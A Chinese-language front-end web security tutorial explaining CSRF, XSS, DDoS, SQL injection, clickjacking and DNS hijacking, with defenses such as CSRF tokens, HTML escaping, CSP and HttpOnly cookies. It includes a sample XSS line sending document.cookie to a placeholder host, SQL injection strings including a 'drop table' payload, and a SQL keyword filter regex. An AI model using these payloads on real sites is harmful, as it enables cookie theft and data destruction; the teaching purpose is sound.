現代WEB應用變得愈來愈複雜,知足了用戶的各類需求,可是隨之而來的就是各類網絡安全的問題。做爲前端工程師的咱們也逃不開這個問題。安全問題存在於何處,如何防範,這將是本篇文章要介紹的主要內容。javascript
CSRF(Cross-site request forgery)跨站請求僞造,也被稱爲「One Click Attack」或者Session Riding,一般縮寫爲CSRF或者XSRF,經過假裝成受信任用戶的請求來惡意利用受信任的網站。CSRF是一種依賴web瀏覽器的、被混淆過的代理人攻擊(deputy attack)html
狹義的csrf是指將代碼植入到受害用戶的瀏覽器訪問頁面的前提下,用受害人的身份向服務器發起一個僞造的http請求,從而實現服務器CURD來執行相關操做。前端
廣義的csrf是指黑客能夠經過本身寫一個腳本僞造出一個和真實的http請求如出一轍的數據包發送給你的服務器,前提是你這個http接口中的全部參數都是能夠預期的。java
下文都是創建狹義的CSRF上的ios
經過以上步驟,網站B就經過盜用保存在客戶端的cookie,以客戶端的身份來訪問網站A,以客戶端身份進行一些非法操做。web
1. 設置referer斷定ajax
經過請求頭中的referer字段判斷請求的來源,可是這種方法並不保險,具備必定危險性,由於referer有可能被僞造。sql
2. 設置token數據庫
在瀏覽器訪問網站A時,網站A設置cookie會增長隨機值csrf_token(也就是token)。express
對cookie不是太瞭解的同窗請注意:CSRF是網站B經過盜用保存在客戶端的cookie,以客戶端的身份來非法訪問網站A。而雖然token也是由後端放在cookie中的,可是須要前端在發送請求的時候來說這個token發給後端檢驗,從而達到防護的目的。
Token就是令牌,最大的特色就是隨機性,不可預測。
返回給瀏覽器時,cookie會儲存在瀏覽器。而後前端提交表單或者非表單請求的時候,就將這個token獲取到而後發送給後端,後端判斷請求中的token和cookie中的token是否一致來判斷是否爲正常請求,若是請求中沒有 token 或者 token 內容不正確,則認爲多是 CSRF 攻擊而拒絕該請求。
爲何放在cookie以後,別的網站獲取不到cookie裏面的token而本身的網站能夠獲取token中的cookie呢?
由於cookie採起同源策略,只有相同域名的網頁才能獲取域名對應的cookie。
表單請求
<form method="post">
<input type="hidden" name="csrf_token" value="{{ csrf_token }}">
<label>帳戶:</label><input type="text" name="to_account" placeholder="請輸入對方帳戶"><br/>
<label>金額:</label><input type="number" name="money" placeholder="請輸入轉帳金額"><br/>
<input type="submit" value="轉帳">
</form>
複製代碼
非表單請求: 在ajax獲取數據時,添加 headers:{ 'X-CSRFToken':getCookie('csrf_token') }
import axios from 'axios'
axios.post('/user', {
name: 'Lumiere'
}, {
headers:{
'X-CSRFToken':getCookie('csrf_token')
}
})
.then(function (response) {
console.log(response)
})
.catch(function (error) {
console.log(error)
})
複製代碼
但token也非絕對安全,由於就算token藏的再隱蔽,可是這一切都會暴露在前端,因此黑客可根據網站前端代碼進行分析,而後寫一套腳本自動化抓取token,而後對服務端接口實施攻擊。
3. 驗證碼
驗證碼是一種很是強大的防範CSRF的方式,例如各類圖形驗證碼(12306的高難度圖形驗證),能夠達到有效的防護功能。
可是不可能全部接口都是用驗證碼,這樣用戶體驗會不好,因此 比較好的方式是儘可能減小圖形驗證碼的使用,對於一些操做不敏感的接口使用token+referrer來防護。
...
可是圖形也不是絕對安全,由於目前圖像識別已經很先進,簡單的仍是能夠破解的...可是爲了安全,仍是須要進行各類防護的設置。
跨站腳本攻擊(Cross Site Scripting),爲了避免和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫爲XSS。惡意攻擊者往Web頁面裏插入惡意的Script代碼(條件一),當用戶瀏覽該頁之時,嵌入其中Web裏面的Script代碼會被執行(條件二),從而達到惡意攻擊用戶的目的。
經過一切可能的手段將能夠執行的腳本植入到頁面的代碼中,從而對用戶進行攻擊。 即實質上就是把代碼植入到對方的系統中去,因爲xss漏洞是對web客戶端的攻擊,因此說植入的代碼基本上是以JavaScript和html標籤爲主。
當網頁中被注入的可執行代碼成功地被瀏覽器執行時,它能夠獲取用戶聯繫人信息表,而後向受害者發送虛假詐騙信息,能夠刪除用戶的日誌等等,有時候還和其餘攻擊方式同時實 施好比SQL注入攻擊服務器和數據庫、Click劫持、相對連接劫持等。
除此以外,xss配合csrf和sql注入等漏洞,能夠在短期內對一個服務器發起攻擊,而且服務器端沒法將ip封死,由於ip是成百上千的xss受害者的ip。
舉個例子:
// 用戶點擊後執行如下代碼,致使cookie被髮送到黑客的服務器上
const i = document.createElement("img")
document.body.appendChild(i)
i.src = "http://www.xxx.com/?c=" + document.cookie
複製代碼
須要注意的是,隨着現代前端技術的發展與應用,許多單頁應用的html在客戶端經過JavaScript進行生成,而不是經過服務端返回。因此說XSS漏洞不只可能出如今服務端,客戶端也可能會存在與服務端沒有關係的XSS漏洞。
在 HTML 中內嵌的文本中,惡意內容以 script 標籤造成注入。
在內聯的 JavaScript 中,拼接的數據突破了本來的限制(字符串,變量,方法名等)。
在標籤屬性中,惡意內容包含引號,從而突破屬性值的限制,注入其餘屬性或者標籤。
在標籤的 href、src 等屬性中,包含 javascript: 等可執行代碼。
在 onload、onerror、onclick 等事件中,注入不受控制代碼。
在 style 屬性和標籤中,包含相似 background-image:url("javascript:…"); 的代碼(新版本瀏覽器已經能夠防範)。
在 style 屬性和標籤中,包含相似 expression(…) 的 CSS 表達式代碼(新版本瀏覽器已經能夠防範)。
根據XSS 攻擊有兩大要素:攻擊者提交惡意代碼 和 瀏覽器執行惡意代碼,防範有如下思路:
// 對於明確的輸入類型,例如數字、URL、電話號碼、郵件地址等等內容
// 進行字符校驗、轉義以及過濾
// 字符過濾
function escapeHtml(string) {
return string
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/"/g, '"')
.replace(/'/g, ''')
.replace(/\//g, '/')
}
// html實體轉義
function htmlEncode(html) {
var sub = document.createElement('div')
sub.textContent != null ? sub.textContent = html : sub.innerText = html
var output = sub.innerHTML
sub = null
return output
}
// html實體反轉義(解析)
function htmlDecode(text) {
var sub = document.createElement('div')
sub.innerHTML = text
var output = sub.textContent || sub.innerText
sub = null
return output
}
複製代碼
可是這也會存在一個問題:用戶的輸入內容,例如是1 < 2,這個內容須要同時在前端展現而且提供給客戶端,而一旦通過了escapeHTML(),客戶端顯示的內容就變成了亂碼( 1 < 2 )
因此,輸入側過濾可以在某些狀況下解決特定的 XSS 問題,但會引入很大的不肯定性和亂碼問題。可是對於明確的輸入類型,例如數字、URL、電話號碼、郵件地址等內容,進行輸入過濾仍是頗有必要的。
CSP以白名單的機制對網站加載或執行的資源起做用。在網頁中,這樣的策略經過 HTTP 頭信息或者 meta 元素定義。禁止加載外域代碼或者不信任的源下載資源,防止複雜的攻擊邏輯。
也就是說,即便攻擊者成功在網站中注入了惡意代碼,CSP 能夠防止其被執行
禁止 JavaScript 讀取某些敏感 Cookie,攻擊者完成 XSS 注入後也沒法竊取此 Cookie。
分佈式拒絕服務攻擊(Distributed Denial of Service)是指處於不一樣位置的多個攻擊者同時向一個或數個目標發動攻擊,或者一個攻擊者控制了位於不一樣位置的多臺機器並利用這些機器對受害者同時實施攻擊。因爲攻擊的發出點是分佈在不一樣地方的,這類攻擊稱爲分佈式拒絕服務攻擊,其中的攻擊者能夠有多個。
經過在短期內不一樣位置向攻擊目標發起大量請求,耗盡服務器的資源,使目標服務器沒法響應正常的訪問,形成網站服務中斷。
爲了不受到攻擊後生產服務器馬上下線而且沒有解決辦法,最好平時對網站作好備份,或者構建一些臨時網站以備不時之需。
經過一些防火牆或者web服務器的設置將惡意ip地址發來的請求進行攔截。可是攔截惡意http請求必須知道惡意請求的特徵,一些高級的DDoS攻擊可能會將請求模擬得和正常請求一致,致使這種DDoS很難進行防護。
經過雲服務商的一些防禦產品進行防護,雲服務商利用他們大量的冗餘帶寬來消化DDoS攻擊,就是將過量的請求所有進行處理。
CDN 指的是網站的靜態內容分發到多個服務器,用戶就近訪問,提升速度。所以,CDN 也是帶寬擴容的一種方法,能夠用來防護 DDOS 攻擊。
SQL注入,就是經過把SQL命令插入到Web表單遞交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。
舉個例子來進行說明
有一個Login畫面,在這個Login畫面上有兩個文本框分別用來輸入用戶名和密碼,當用戶點了登陸按鈕的時候,會對輸入的用戶名和密碼進行驗證。驗證的SQL語句以下:
select * from user where username='輸入的用戶名' and password='輸入的密碼'
複製代碼
若是用戶在用戶名文本框中輸入 ' or '1' = '1' or '1' = '1,則驗證的SQL語句變成:
select * from user where username='' or '1' = '1' or '1' = '1' and password=''
複製代碼
或者在密碼框中輸入 1' or '1' = '1,驗證SQL語句變成:
select * from user where username='' and password='1' or '1'='1'
複製代碼
經過簡單觀察就能夠發現這兩條SQL語句的驗證永遠都是有效的。
或者更爲破壞性的,在用戶名文本框中輸入:tom' ; drop table user,這時SQL變爲:
select * from student where username='tom' ; drop table user' and password='' 複製代碼
這樣就變成的兩條SQL語句,執行完查詢操做,接着直接把student表給刪除了。對網站具備很強的破壞性。
經過以上例子,能夠知道SQL注入能夠實現的功能包括但不限於刪除數據 (經濟損失), 篡改數據 (密碼等), 竊取數據 (網站管理權限, 用戶數據) 等。
// txtName.Attributes.Add('onblur', 'AntiSqlValid(this)');//防止Sql腳本注入
function AntiSqlValid ( oField ) {
re = /select|update|delete|exec|count|'|"|=|;|>|<|%/i
if ( re.test(oField.value) ) {
//alert("請您不要在參數中輸入特殊字符和SQL關鍵字!") //注意中文亂碼
oField.value = ''
oField.className = 'xxx'
oField.focus()
return false
}
}
複製代碼
注意:前端驗證只能起到必定的做用,後臺也須要進行SQL驗證,好比利用一些SQL預編譯工具,在執行階段只是把輸入串做爲數據處理,而再也不對sql語句進行解析,所以也就避免了sql注入問題。
點擊劫持,clickjacking,也被稱爲UI-覆蓋攻擊。它是經過覆蓋不可見的框架誤導受害者點擊。
受害者點擊的是他所看到的網頁,但其實他所點擊的是被黑客精心構建的另外一個置於原網頁上面的透明頁面。點擊劫持是一種視覺上的欺騙手段。有兩種方式,一是攻擊者使用一個透明的iframe,覆蓋在一個網頁上,而後誘使用戶在該頁面上進行操做,此時用戶將在不知情的狀況下點擊透明的iframe頁面;二是攻擊者使用一張圖片覆蓋在網頁,遮擋網頁原有位置的含義。
使用HTTP頭——X-Frame-Options (要注意瀏覽器支持)進行攻擊防護。這個http頭有三個可選值:
域名劫持經過攻擊域名解析服務器(DNS),或僞造域名解析服務器(DNS)的方法,把目標網站域名解析到錯誤的地址從而實現用戶沒法訪問目標網站的目的。
域名劫持一方面可能影響用戶的上網體驗,用戶被引到假冒的網站進而沒法正常瀏覽網頁,而用戶量較大的網站域名被劫持後惡劣影響會不斷擴大;另外一方面用戶可能被誘騙到冒牌網站進行登陸等操做致使泄露隱私數據。
雖然Web安全不只僅是前端領域的責任,網絡,後端,硬件等全部相關的環節都有責任。但做爲前端開發人員,web安全意識是必備的技能。以上內容僅是web安全領域中的一小部分,若是須要深刻了解,仍是須要進行專門的學習的。祝願各位開發者的網站變得更安全。